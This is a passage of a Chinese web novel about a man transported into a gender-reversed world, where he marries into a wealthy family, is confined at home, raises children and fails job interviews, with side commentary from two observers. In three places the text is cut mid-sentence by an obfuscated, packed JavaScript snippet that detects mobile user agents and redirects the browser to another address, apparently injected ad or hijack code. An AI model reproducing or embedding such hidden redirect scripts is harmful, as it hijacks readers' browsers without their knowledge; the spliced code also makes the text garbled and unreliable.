“嗯，”田园微微点头“姚阿姨并不是那等爱磋磨人的岳母，如果姚先生想学厨艺的话，我可以教你，正好我比较擅长这个。” “行，”方明辉点头“你家里方便吗？今天那个老……我岳母还在家，我不太好在家里叮叮当当的做饭。” “来我家吧，”田园十分善解人意，他将花园的后门打开，微笑着招呼方明辉“我家里人都出去了，除了我，就只有轩哥还在。” “谢了，”方明辉一边走，一边随口问道“轩哥是谁？你还有个哥哥吗？” “嗯……也算是哥哥吧，只是没有血缘关系，”田园依旧是笑着的，神色却有些暗淡“我是第二个进田家的男人，轩哥是我的前辈，如果不是轩哥身体不好，我恐怕没办法进田家。” “你……！”方明辉差点儿被花园里的石头绊倒，他却不顾上这个，只用震惊的眼神看向田园“你说的轩哥是你老婆的丈夫？你这不是给人家戴绿帽了吗？” 这年头，连出轨都可以光明正大，还把人带到家里来？ “绿帽？”田园有些不满的蹙眉“姚先生，我虽出身不算好，却也不是那等放浪之人，我是田家明媒正娶的第二个男人，请你不要这么说！” “你不介意？”方明辉眉头一挑，他想起来这个世界好像是可以多娶多嫁的“你老婆怀的可能是别人的孩子，难道你要帮别人养孩子？” “说完全不介意是假的，”田园轻叹一声“毕竟大家都更看重轩哥，我在家里就是个透明人，当然了，轩哥待我很好，我是第二个进来了，不如轩哥也是正常。” “不过，你的想法好奇怪啊。”田园转头看向方明辉“孩子女人生的，自然也应该属于女人，只是我作为田家的家庭成员，负责照顾孩子而已。” “和你没有血缘关系的孩子你也照顾？”方明辉震惊到无以加复“那你可真大度！” “你和姚家人也没有血缘关系，难道你不照顾姚家人吗？”田园不置可否“只有女人才能生孩子，男人只能通过照顾孩子的方式来表达亲情，如果我们不照顾孩子，那才是一个亲人都没有了。” “我可受不了养别人的孩子。”方明辉搓了搓手臂，感觉自己起了一身鸡皮疙瘩，可能是被吓的吧。 “你这样可不行，”田园语重心长的说道“若你不照顾孩子，免不得要和姚家离心，万一姚家众人都不搭理你了，你要怎么办？” “不搭理就不搭理呗，我还懒得伺候她们呢。”方明辉满不在乎的摆摆手。 田园摇头叹息，随后又像是感慨一般说了句“还是太年轻了。” 在田家跟着田园学了一上午，方明辉感觉自己厨艺进步了不少，毕竟做饭本也不是什么难事。 他带着做好的饭菜回到姚家给姚家主品尝，希望对方尽早满意从而放过他，没想到姚家主吃过以后只是点点头，什么都没说，就将碗筷放下了。 “姚先生，”姚家主离开以后，管家立刻迎上来微笑着说道“大小姐今日去公司，恐怕没什么时间用午餐，如果姚先生有时间的话，不如把饭菜送过去，也算是您的一片心意。” “你去吧，”方明辉一开始没理解管家的意思，只顾着自己吃饭“反正今天饭菜做的多，送过去些，剩下的也够吃。” “姚先生，”管家深吸一口气，她头一次见这么没眼力见的人“这顿餐食毕竟是姚先生亲手所做，还是您自己亲自送的好，若是他人代送，岂不是辜负了您的心意？” “那倒也是，”方明辉点头，反正现在家里有司机，又不用他亲自开车，只要他坐在车里就行了“行，我亲自去送。” 姚家的公司离姚家别墅不算近，开车大约要半个小时，方明辉跟着助理一路走过，期间时不时有人打招呼，方明辉在心里啧了两声，不愧是万恶的资本家，连个办公楼都修的这么气派。 “张管家，”姚熠的助理笑容满面的上前接待“您怎么亲自过来了，是总经理有什么吩咐吗？” “不是什么要事，只是姚先生亲自做了些饭食，怕大小姐太忙忘了吃饭，想给大小姐送过来。”管家同样回以微笑，微微侧头示意方明辉的存在。 “这位姚先生是……？”助理也是人精，立刻注意到了方明辉，由张管家亲自带来的，想来不是什么简单人物。 “姚先生在昨日加入姚家，成为了姚家的一员。”管家说的话并不算委婉，紧接着她又说道“姚先生刚进姚家，不免有些拘谨，今日又难得有这份心，您不如直接告诉我大小姐在哪儿吧？” “这……”助理神情有些闪烁“是这样的，总经理她……她出去了，现在不太方便，姚先生还是把东西暂时放在我这儿吧，等总经理回来我会告诉她的。” 助理话音未落，只听咔的一声响，总经理办公室原本禁闭的门打开，里面走出了一个身材高挑，五官俊朗，面色绯红的男人，仔细看就能发现，男人的衣衫凌乱，领带处微微有些不自然褶皱，显然是发生了什么。 “吕助理，”男人看到门外站着三个人，微微愣了一下说道“不好意思，耽误你们的时间了，你们是找总经理的吧？” “不碍事，”助理有些尴尬，毕竟新欢旧爱撞在一块什么的，很难不令人尴尬“那个……姜先生，你是要回姜家吗？我送您过去吧。” “那就多谢了。”姜维微微点头，虽然他今天是自己开车来的，但也没拒绝助理的请求。 助理对管家笑了笑，心里却松了口气，她刚想转身离开，却被方明辉拦住了脚步。 “等等！”方明辉怒瞪向助理和姜维“你刚刚不是说办公室里没人吗？那他又算什么？” “还不明白吗？不是办公室没人，而是不方便有人进。”姜维眉头一挑，眼神中有些许探究“你是哪个部门的？这么没有眼力见，刚大学毕业？” “我是姚熠她男人！”方明辉被激的热血上头，挥拳向姜维脸上打去“你算个什么东西，也敢在老子面前耀武扬威？” 姜维眼睛都没抬一下，直接后退一步，让方明辉的拳头挥了个空，险些跌倒。 “我知道你，”姜维轻飘飘的瞥了方明辉一眼，仿佛在看一粒不起眼的灰尘“方先生是吧？仗着方家曾经与姚家的旧情入了姚家的门，野鸡变凤凰以后又到我面前来耀武扬威，你有这个资格吗？与其在这儿无能狂怒，不如想想怎么让姚家人接受你吧。” 说罢，姜维便转身离开，只留暴跳如雷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103568|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的方明辉在原地，管家见势不妙，也顾不得叫嚣着要见姚熠的方明辉，直接让保安将他压上车，将这一场闹剧平息了下来。 * “我仿佛在看一部狗血电视剧，”胡燕一言难尽的看着水幕中方明辉被强行带上车的表情“就是那种……什么嫁给总裁，契约结婚，结过总裁有白月光，白月光是恶毒女配，一百集虐女主九十九集，最终大团圆一起包饺子的狗血剧。” “挺好的，艺术来源于生活。”眠云不紧不慢的给自己倒了一杯茶，丝毫没有提起自己是故意选了这个身份“你看剧的时候是怎么想的？” “啊……其实我看剧就是打发时间，当时觉得剧情虽然狗血，但男女主之间的爱情还是挺动人的。”胡燕不好意思的摸了摸脑袋“我都一把年纪了，还看这些，的确有点儿幼稚。” “为什么你会觉得爱情幼稚？”眠云微微侧头“爱情和自由一样，不是出于本能，而是人类在拥有智慧之后思考产生的概念，我认为拥有一定思考能力的人才能拥有爱，这也就侧面印证了，爱情是很高级的情感。” “……没想到你竟然是相信爱情那一派的，”胡燕半开玩笑似的说道“我以为神仙都是断情绝爱的那种，电视剧不都那么演吗？” “或许有神仙是你说的那样吧，但我不想成为那样的神仙，”眠云微微抿唇“人可以决定自己成为什么样的人，神也可以。” “人可不一定，我觉得人还是受环境影响更多，”胡燕指着水幕中的方明辉“我以前可从来没想过方明辉会主动做饭，讨好岳母，给女方送饭，可他换了一个环境以后，做的也毫无压力。” “这种事发生在电视剧里的时候我一点儿都不觉得奇怪，甚至还觉得男主不认识女主，冷待她也正常，可发生在现实中的时候，我感觉方明辉在被人当猴耍，这又是为什么？” “这个啊，”眠云缓缓喝了一口茶“因为你已经习惯了女人的矢权，默认女人是被动、无力反抗的那一方，这种意识在你脑子里久了，你就会默认强势一方的压迫剥削，甚至将其合理化。” “这……是什么意思？”胡燕没太听明白眠云在说什么。 “我举一个最简单的例子，”眠云垂下眼睛“你能原谅你丈夫出轨吗？” “当然不能。”胡燕回答的很干脆。 “那如果你的丈夫每月给你两万呢？” “这……” “如果你的丈夫是富二代，能给你花不完的钱呢？” “……” “这就是权利不对等所造成的人格不对等，”眠云摇晃着茶盏“夫妻本应是平等的，可若一方有权，一方无权，无权的难免心虚。” “在你的世界里，有权的一方通常是男人，所以约定俗成男人高女人一等，你看到男人对女人的欺压，只当是常态，毕竟人人都是这样，从来便是如此，甚至你会细数女人得到的好处，来掩盖她所受到的伤害，并以男方提供了好处为由，为他免责。” “大概是被欺负久了的人，腰杆子就真就直不起来了吧，”胡燕苦笑“是的，我觉得方明辉受了欺辱，是因为我在潜意识里觉得男人是有尊严的，如果换成女人，我大概率不会觉得这是什么大事，因为这个社会不允许女人有尊严，尤其是我这样平庸的女人。” “总觉得经历过这次的事情以后，我都没法再看那些狗血电视剧了。”胡燕缓了一会儿，才继续说道“电视剧里女主通常贫困、卑微、身份低下，而男主则相反，他高贵、聪明、前途无量。男主和女主说句话都是赏赐，看上女主更是女主八辈子修来的福分，现在想来，这不是什么爱情，而是极端矢权之下将泥水当成甘露而已。” “这倒也不是你的错，”眠云指了指水幕“毕竟环境改变人，你的丈……现在应该是前夫，不也习惯了这种规训吗？” 67. 第5章 从公司回到姚家以后，方明辉心里很是不满，他想发脾气，却发现姚家根本没人理他，唯一会听他说话的管家活像个人机，只会面带微笑的听着，完全无视了他的愤怒。 怒火更盛的方明辉只好找他刚刚认识的朋友，隔壁邻居田园，倾诉他在姚家公司的经历。 “姚大小姐的确有些过分了，”田园放下精美的骨瓷茶杯，微微叹息道“虽说以姚家的家世，有几个相好也是正常，但你们新婚，她怎么能这么对你呢？” “那个水性杨花的女人，”方明辉恨的咬牙切齿“早晚有一天，老子要让她碎尸万段！” “消消气，消消气，生气伤身。”田园给方明辉倒了一盏茶“若是气坏了身子，那苦不还是你自己受吗？” “这玩意什么味儿都没有，你整天喝它干嘛？”方明辉喝了一口茶，又嫌弃的放下“有酒吗？真男人就得喝酒。” “家里倒是有些红酒和香槟，不过……喝酒可不是我们这种身份的人该做的，”田园规劝道“男人本就比女人冲动、不理智些，这喝了酒以后，不仅什么问题都解决不了，还愈发不理智，不如我教你一招，准保让姚小姐回心转意。” “你有什么办法？”方明辉这会儿来了兴趣，倒也不嚷着要喝酒了。 “当然是先让她爱上你，然后再不理她，让她追悔莫及，”田园神秘一笑，随后又上下打量着方明辉“你其实长的不差，只是不好好打扮才显得平常，相信我，只要照我说的做，三个月以后，姚熠保准会爱上你。” “真的？”方明辉对此抱怀疑态度，但一想三个月的时间也不长，试试也没什么。 “当然是真的，”田园自信一笑“我以前还没有你帅气呢，你长的高，皮肤又白，打扮起来肯定迷倒一大票女人。” 方明辉其实不算高，只是这个世界的男人普遍偏矮，他的身高在男人中还算不错，不过被人这么这么夸，他心里自然高兴，由着田园拉他去做一大堆有的没的美容项目。 忙了半天，又被田园换了一套新衣服的方明辉回到姚家，正巧撞见姚家九小姐姚玖回来，姚玖性子活跃，主动上前和方明辉打了个招呼，还要请他一起出去玩。 “阿辉你长的这么帅，跟我去派对，肯定能成为全场焦点，”姚玖信誓旦旦的说道“我大姐就是那样，太严肃，假正经，你不用搭理她，跟我走，我包你满意。” 方明辉犹豫了一下最终还是答应了下来，他本来想等姚熠回来，但一想到姚家姐妹都是他老婆，姚玖不比姚熠强多了，要是笼络了姚玖，让她帮忙对付姚熠，那岂不是事半功倍？ 姚玖带方明辉去的地方是一间私人会所，里面男男女女都是来找乐子的，姚玖也不例外，方明辉起初还有点儿不适应这种纸醉金迷的环境，但在酒精的刺激下，他很快也放松了下来，跟着姚玖一起狂欢，一夜荒唐。 第二天中午，方明辉才跟着姚玖回姚家，他本打算上楼补个觉，岂料姚熠就坐在一楼大厅的沙发上，显然是在等人。 “大姐，”姚玖笑嘻嘻的朝姚熠打了个招呼“昨天晚上我带阿辉出去玩儿了，你不介意吧？” “小九，我记得我和你说过，”姚熠虽是坐着，眼神却仍旧居高临下“你不想管事，想疯玩，姐姐们都容着你，可你万不该带他出去！” 方明辉一听到这儿，顿时不困了，甚至有些快意，任这个女人装的再怎么冷漠无情，心里不还是在乎他，甚至因为他和亲妹妹争风吃醋？ “出去玩儿怎么了？”方明辉在一旁帮腔“我有我的自由，怎么，你还想控制我不成？” “方先生，我在和我妹妹说话，没有你插嘴的余地，”姚熠淡定的瞥了方明辉一眼“既然你学不会安分，索性就别出门了，省得给姚家丢脸。” “对了，小九还有你，”姚熠站起来“别以为我不知道你在想什么，这么个上不了台面的东西，根本没人在意，你跟我到书房来。” 姚玖面色变了变，收起了之前那副嬉皮笑脸的模样，沉默的跟在姚熠身后，从始至终都没再看方明辉一眼。 方明辉感觉有些莫名其妙，他直接一觉睡到晚上才起，等他想要下楼吃饭的时候，却发现管家早已等在门外，将饭食送进了他的房间。 “是姚熠让你过来的？”方明辉打了个哈欠，只穿着背心短裤找了个小茶几坐下吃东西“这些是为了给我赔礼道歉？” “大小姐说，方先生昨夜辛苦，就不必下楼吃饭了，”管家保持着一如既往的专业微笑“还有，您现在的房间太小了些，四楼比较宽敞，大小姐吩咐我将您的东西搬到四楼。” “还算她识相。”方明辉没注意到管家的称呼变化，只以为田园给自己出的主意起了效，心里愈发得意。 管家见方明辉那副没见识的样子，心里有些鄙夷，她没说什么，只是让家里的佣人快速收起方明辉的行李，将东西放到四楼，又让方明辉去四楼用餐，便消失不见了。 方明辉吃饱喝足，开始在四楼打转，比起其他楼层，四楼的装修不怎么精细，显得有些空旷，但空间是真的很大，整个四楼只有他一个人居住，多少有些冷清。 方明辉点点头，对这块完全属于自己的地盘还算满意，但他很快发现了不对，不仅是晚餐，第二天的早餐、中餐，以后的每一餐都是由管家送过来的，他需要什么都可以和管家提，但只要他一想离开四楼，管家就会立刻出现，找各种理由搪塞他。 “你这是非法拘禁！”方明辉暴跳如雷，他一开始想靠疯狂砸东西迫使管家放他出去，哪想管家不为所动，后来他又想直接闯出去，却被两个保镖按倒在地，动弹不得。 方明辉躺在床上，心里又开始后悔自己为什么许了要十个老婆的愿望，人总是这样，没有什么的时候就分外想要什么，以前他总想着，要是能吃喝不愁整天打游戏就好了，现在他的确不愁吃喝，也能一天二十四小时打游戏，他却待的煎熬万分，恨不得把这里的一切都砸碎才痛快。 手机？对了，他有手机啊！ 方明辉立刻蹦起来，用手机拨打报警电话，不过一会儿，两个警员就赶来了姚家别墅，表示有人报警姚家非法拘禁。 “是谁报的警？”身材魁梧的女警员沉声问道。 “我！是我！”方明辉眼睛亮了起来，他立刻冲下楼，指着管家说道“就是她把我给囚禁了，不让我出门。” “先生，您别再闹了。”管家丝毫不慌，只摆出一幅无奈的表情对警员说道“这是我们家先生，与姚家有婚姻关系，昨天先生去夜店喝酒，喝了个烂醉才出来，大小姐怕先生晚上出去不安全，才让我们拦着些，没想到先生他……” 说到这儿，管家便没有再说下去，只把婚姻相关证件都拿出来，警员查了证件没有问题，确定没什么大事之后口头教育了一番便起身离开，毕竟这是家务事，她们做警员的，管天管地也管不到人家家里去。 方明辉气炸了，他不仅没让管家被抓走，还反被警员说教晚上不安全，报假警是违法的，管家见怪不怪的指挥保镖将方明辉拖上四楼，再次将他关了起来。 “方先生，我劝你省省力气吧，”管家见方明辉折腾的厉害，忍不住嘲讽道“你们方家当初扒着姚家不放，现在方先生你又摆出这幅样子，又作又闹，你这又是图什么呢？” 方明辉转了转眼珠，他实在没力气再闹了，只好沉默以对。 这种令人窒息的沉默被一阵音乐打破，管家接起内线电话询问缘由，方明辉依稀听到了田、来、找几个字，管家先是回绝，后来电话那边不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112056|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道说了些什么，管家沉吟片刻，最终还是点了点头。 不过一会儿，田园走了过来，管家冲田园点点头，识趣的离开，留方明辉和田园单独说话。 “好兄弟，你帮帮我，”方明辉勉强撑起身子“我不想待在姚家了，你帮我逃出去！” “我怎么帮你啊？”田园叹息一声，给方明辉倒了杯水“别墅周围有不少警卫，你想往哪儿跑？再说，你现在是姚家人，就算你跑了，姚家也可以报警找到你，你到底做了什么，才能让姚熠把你关起来？” “没什么，”方明辉含糊其词“就是，和姚玖出去玩儿了一夜，我又没和其他人做什么，顶多是和姚玖……这也不算什么吧？” “你啊，”田园又叹“难怪，姚熠最看重规矩和家族荣耀，姚玖也就算了，她毕竟是女人，风流些也是正常，等她玩儿够了，自然就回归家庭了。你跟着姚玖出去，相当于在说姚家家风不正，姚熠那样严肃的人，可不就气的把你关起来了吗。” “那我该怎么办？”方明辉将水杯砸在地上，近乎崩溃的问道“我不想再被折磨了！” “你也是个傻的，女人嘛，都好色，不就是那么一回事吗？”田园的眼神变得促狭“你好好打扮打扮，再服个软，认个错，腰肢放软些，我就不信哪个女人心那么硬，到嘴边的肉还能拒绝。” 方明辉本能的想抗拒，可他一想到自己现在的处境，还是同意了田园的方法，选择去□□姚熠。 方明辉原本以为姚熠不会搭理他，没想到美人计却出奇的顺利，姚熠根本没有拒绝的意思。随着时间的推移，虽然姚熠没有彻底松口，却也不再像以前那样限制着方明辉，只要方明辉不离开别墅的范围，就随便他去哪儿。 方明辉伸了个懒腰，感觉自己魅力不减，就连姚熠那么漂亮的女人都被他睡服，他刚下楼打算吃点儿东西，就看到一个模样稍显陌生的女人正在楼下吃早饭。 方明辉愣了一下，半天才想起来，这个人是姚家三女，姚善，因为职业是大学教授，所以一直住在学校很少回家，这次倒是罕见的回来了。 “早上好，”姚善也看到了方明辉，她对方明辉笑了笑，语气温和的说道“吃早饭了吗？如果没吃的话，我们一起吃吧。” “……谢谢。”方明辉一时不知道该说什么，姚善在姚家姊妹中不算出众，却是最好相处的，就连长相也是毫无攻击性的温柔，这让方明辉找回了几分从前那个世界女人的感觉。 “在姚家过的还习惯吗？”姚善微笑着说道“大姐性格严肃了些，偶尔还有一点独断专行，如果她有什么不对的地方，你尽管和我说便是。” “没什么，都挺好。”方明辉哪里肯和一个女人掀自己的老底，之前那段时间他已经够狼狈的了，现在要再说一遍，那不是让他颜面扫地吗？ “没事就好。”面对方明辉的沉默，姚善丝毫没有生气的意思，她温温柔柔的和方明辉说着话，并表示自己最近会在家里住，如果方明辉有什么不舒服的地方，可以找她倾诉。 接下来的日子里，虽说方明辉的生活和以前差不多，但因为有了姚善这个善解人意的姑娘在，他心里的压力减了不少，也不再整天抱怨，甚至品出了一两分幸福的滋味。 就在方明辉以为日子就会这样一直过下去的时候，一个爆炸性的消息在姚家传开，姚熠和姚玖两人几乎同时怀孕，姚家即将迎来第三代子嗣，姚家所有人都欢欣鼓舞，方明辉虽说心情有点儿复杂，但总体来说还是高兴的。 姚玖和姚熠怀孕之后，在姚家的时间比之前多了不少，姚家目前的家主姚简觉得由方明辉这个孩子的父亲来照顾孕妇更有利于孩子的健康，于是方明辉少见的忙碌了起来，从孕妇的三餐到孩子要用到的东西，几乎都由他一手操办。 68. 第6章 忙到晕头转向的方明辉本以为这种忙碌的生活等到孩子出生以后就结束了，可恰恰相反，两个孩子出生以后，他才知道过去的日子有多有悠闲。 “你是不知道，”方明辉向田园大吐苦水“刚出生的小孩每两小时就要喂一次奶，换一次尿不湿，一天二十四小时不停歇，晚上也是一样，我根本没法睡觉！” 在此之前，方明辉虽然也做过父亲，但他和胡燕的孩子是胡燕一手带大的，不用他伺候，他从来不知道，养一个孩子竟然这么麻烦。 “带孩子虽然是辛苦的，但也很幸福，”田园安慰道“你看，这两个孩子长的都这么好，多有成就感。” 姚熠、姚玖两人生下了一男一女，姚熠的孩子是女儿，比男孩年长三天，孩子的父母长相不差，两个孩子也相当漂亮，不哭不闹的时候看起来确实很可爱。 “姚熠和姚玖好歹是当妈的，怎么一点儿都不照顾孩子？”方明辉眉头皱了起来，相比于胡燕的一手包办，姚熠和姚玖两个人几乎没怎么管过孩子，这让他很是不满。 “孩子是母亲生下的，自然要由父亲照顾抚养。”田园笑了笑，俯身逗弄着两个孩子“父亲对生孩子本来就没什么功劳，若再不养孩子，那岂不是毫无亲子情分，与陌生人无异了吗？” “你这话是什么道理？”方明辉看着两个孩子，心也软了些，但嘴里还是说着“这两个孩子也不随我姓，我养她们做什么？” “你说什么胡话呢，”田园笑着说道“你不是姓姚吗？若说你原来的姓氏，也是来源于你的母亲，传承于你的姐妹，纵使姚家愿意让孩子姓方，那这孩子又是跟了谁的姓去？” 方明辉骤然沉默，他忽然想起这个世界的习俗，男子出门之后是要改姓的，他自己现在的正式名字，也不叫方明辉，而叫姚明辉了。 “那我爸姓什么？”方明辉问道“我是说，他在和我妈结婚以前姓什么？” “连你都不知道，我又怎么可能知道？”田园诧异的看了方明辉一眼“如果你想知道的话，可以问一问你的母亲，她应该会知道吧。” “不用了，”方明辉嗤笑一声“问了也是白问。” 倒不是方母不知道，而是即使得到了一个答案，又能怎么样呢？ “姚先生！姚先生！” 没等方明辉再说什么，佣人焦急的声音传来“小小姐和小少爷发烧了，你快过来看看！” “什么？”田园一听，这还哪里了得，他催着方明辉尽快回姚家，毕竟小孩子身体脆弱，发烧时间太久可能会留下后遗症的。 “管家呢？”方明辉回到姚家以后，面对两个发烧的婴儿也是束手无策，他向佣人吼道“快让管家备车，去医院啊！” “这……管家刚刚出去了，司机去送管家，说下午才能回来。”姚家雇来的育婴师胆子本就不大，被方明辉这么一吼，更是吓的六神无主，焦急的说道“姚先生，怎么办啊？” “我哪儿知道怎么办？”方明辉这会儿是真急了，现在是上午十点，姚家众人都各自出门了，管家司机也不在，打车倒可以，但姚家别墅位置偏远，根本打不到车啊。 “要不……给大小姐打个电话？”育婴师弱弱的提醒道“大小姐知道的话，应该会派车来接我们的吧？” “你说的对。”方明辉回过神来，他拿出手机，又犹豫片刻，最终还是选择先打给了姚玖。 虽然姚熠和他已经有了一个孩子，但方明辉一想到那段被关在别墅里哪儿也不能去的日子，心里就有些别扭，比起严肃冷漠的姚熠，他还是更愿意和纵横情场的姚玖接触。 电话响了几声，却并未接通，方明辉不信邪的又打了一遍，对面还是没人接，育婴师急的像热锅上的蚂蚁，直喊道“打给九小姐做什么？九小姐昨晚都没回来，现在还不知道在哪儿呢，先打给大小姐啊！” 方明辉咬了咬牙，拨通了姚熠的电话，这次电话倒是接通了，但还未等他说话，姚熠冷漠如冰的声音便从那头传来“我很忙，你要是有什么事就和管家说，别耍些小聪明。” “喂？你说谁耍小聪明呢？”方明辉忍不住怒气上涌“你在哪儿？你女儿……” 嘟嘟嘟—— 还没等方明辉说要，姚熠直接挂掉了电话，之后任凭方明辉怎么打，她都没有接电话的意思，方明辉气的脸色涨红，想把手机往地上摔，但一想到自己就这一部手机，最终还是忍住了。 “怎么办，怎么办……”育婴师开始碎碎念，他实在着急，不仅是怕丢掉这份工作，还怕万一孩子出了事，他这个育婴师也难逃追责。 “别吵了！”方明辉呵斥道“车库里不是有车吗？你开车，我们去医院！” “可……可我不会开车啊，”育婴师嗓音沙哑，险些要哭出来“姚先生，要不您开车，我抱着孩子？” “要你有什么用！”方明辉骂了一句，他是会开车的，但在这个世界的他没考过驾照，自然也没法开车。 “发生什么了？”姚善从外面走进来，她看到焦急的方明辉和要哭不哭的育婴师后愣了一下，关切的说道“没事，不用着急，有什么事和我说就行。” “三小姐，您可算回来啦！”育婴师找到了救星，连忙把孩子生病发烧的事说了一遍，复又说道“求求您，快带孩子们去医院吧！” 姚善性格沉稳妥帖，她嘱咐方明辉和育婴师抱好孩子，不要让孩子受凉，自己开车带着两人去了医院，给孩子挂号输液，直到孩子的体温降下来，方明辉才算是松了一口气。 “今天的事，谢谢，辛苦你了。”方明辉将买来的茶饮递给姚善，他记得姚善口味清淡，就特地挑了这个“要不是有你在，恐怕孩子就……” “都是小事，”姚善笑了笑，伸手接过，又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122403|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关切的问道“倒是你，身体还撑得住吗？毕竟照顾孩子不是一件容易的事。” “……还行。”方明辉有些沉默，之前他只是感觉身体疲累，勉强还能接受，可今日之事却让他身心俱疲，如果不是姚善即使出现，他真的不知道该怎么办好。 “别太辛苦了，”姚善轻声细语的安慰着他“累的话就多休息休息。” “谢谢。”方明辉长叹一声，他发现他真的对姚善有点儿心动了，不是看到美女的见色起意，而是真的喜欢上了这个温柔体贴的女人。 天擦黑的时候，两个孩子的体温才恢复正常，姚善开车带方明辉回了姚家，几人才刚进门，就看到姚熠脸色不善的坐在沙发上。 “我本以为你已经够废物了，没想到你连这么一点小事都做不好，”姚熠的视线在方明辉身上转了一圈“孩子生病了，为什么你一点儿都不知道，还拖到这个地步？” “我！”方明辉本想反驳，却有些心虚，毕竟他是第一次照顾孩子，哪里知道孩子怎么忽然就病的这么重。 “算了，大姐。”姚善开口说道“阿辉他……我相信他是尽了心的，你就不要过分苛责他了。” “没有下次。”姚熠看了姚善一眼，最终还是妥协了。 有了这次孩子忽然生病的经历，方明辉不敢再在照看孩子的事上生疏，孩子渐渐长大，哪怕有一个育婴师的帮助，方明辉也渐渐力不从心，最近总觉得腰酸背痛，身上很不舒服。 他本想和姚熠说，心里却又憋了一口气，姚玖整日不见人影，就连姚善也不是时时有空的，比如最近她就一直在学校，未曾回姚家。 方明辉忍了又忍，最终选择独自去医院，可他身上别说看病的钱了，就连打车的钱都没有。 他在这个世界的身份是一个刚毕业就结婚的年轻人，根本没上过班，之前靠父母给的零花钱生活，他过来以后则是直接进了姚家，万事都有姚家准备，不用为钱操心，身上自然是没钱的。 为了撑这一口气，方明辉没有找姚家，而是找田园借了钱，其实方明辉的病也不是什么大问题，只是劳累过度所致，适当休息就好，可他仍旧选择开了一堆药回家，并刻意把药堆在一楼大厅，却接连三日都无人提起。 “辉哥，你生病了啊？”育婴师看了一眼药说道“多注意身体，要是传染给孩子，那可就不好了。” “没什么大事，”方明辉忍了又忍，质问道“难道在你心里，我生病就这么不值一提？” “啊？”育婴师一开始有些摸不着头脑，后来才反应过来，赶紧赔笑“不是，辉哥你的身体自然是最重要的，我只是看孩子还小，抵抗力不足，万一得了什么病，大人扛得住，孩子未必能行，您消消气，我给您倒杯茶？” 方明辉摆摆手，他本想质问的人也不是育婴师，归根到底，是这个家里的人不把他当人看罢了。 69. 第7章 “你要去上班？！” 田园险些碰翻了茶杯，他蹙着眉说道“何必呢？你又不缺那一点钱，要是你缺钱的话我可以借你，你如果出去工作，孩子怎么办？” “孩子可以交给育婴师带，”方明辉铁了心要出去，过去的几十年，他从来没有这么热爱工作过“反正姚家也不缺多请一个育婴师的钱。” “阿辉，孩子的童年是很短暂的，如果你这个做父亲的缺席了的话，她们会很可怜。”田园正色道“况且现在大环境不好，找一份好工作也不容易，你现在出去工作，工资大概率还不够请一位育婴师，何必呢？” “我干够了家里的活！”方明辉把茶杯摔在地上，咬牙切齿的说道“明明整天不得闲，却总被视为什么都没干，姚家人没一个能看得起我的，就连那个管家都敢和我对着干！” “这……”田园斟酌了一会儿“姚熠脾气是差了些，但姚善还是好的，一家人有脾气差的很正常，管家的事，若她做的不算太过，你就忍一忍，若她太过分了，你就和姚家人说，全当是为了孩子。” “为孩子，为孩子，姚熠怎么不为孩子？！”说到这儿，方明辉更气了“她管过孩子吗？别说她了，就连整天闲着出去参加宴会泡吧喝酒的姚玖都没喂过一次奶，换过一次尿布！” “阿辉，上班也不是那么容易的。”田园劝道“你看看外面，哪个实习生不被老板压榨？姚熠虽然人冷了些，但她从来没短过你什么，如果她不在外挣钱的话，你和孩子哪有这么好的生活啊。” 不管田园怎么劝，方明辉都打定主意要出去工作，为此他特地做了简历，一家一家公司投递，还真有三五家公司向他发来了面试通知，虽然都不是大公司，却也让方明辉很满足了。 面试当天，方明辉穿上了一身休闲西装，他这个人本就对形象要求很高，今天又是他面试的日子，自然不能马虎。 “方先生，你好。” 负责面试的HR微笑打量着方明辉，语气还算温和的开口“简历上您是前年毕业的，有一年半的空窗期，请问您这段时间做了什么呢？” “我……结婚了。”方明辉以前家里是做生意的，毕业了以后他就帮着家里打理生意，严格来说，这是他两辈子加起来第一次面试。 “好的，”HR点头在纸上划了一下“请问你有孩子吗？” “有，”方明辉心里有些不舒服，但还是如实回答了“有两个孩子。” “请问您该如何平衡家庭与工作呢？”HR用笔敲了敲桌子“以您的年纪，孩子可能还不足一岁，正是需要照顾的时候，如果您的孩子出现了什么问题，您会选择坚持工作，还是照顾孩子？” “……我的孩子有育婴师照顾，不会影响工作，”方明辉皱起眉头“这些是我的私事，请你不要一直打听。” HR笑了一下，倒没说什么，只表示这次面试已经结束，请方明辉回去等待通知。 方明辉知道，看HR的反应，他大概率不会通过，他也不留恋，直接面试下一家，但没想到，接连面试了五六家，却没有一家公司想要他。 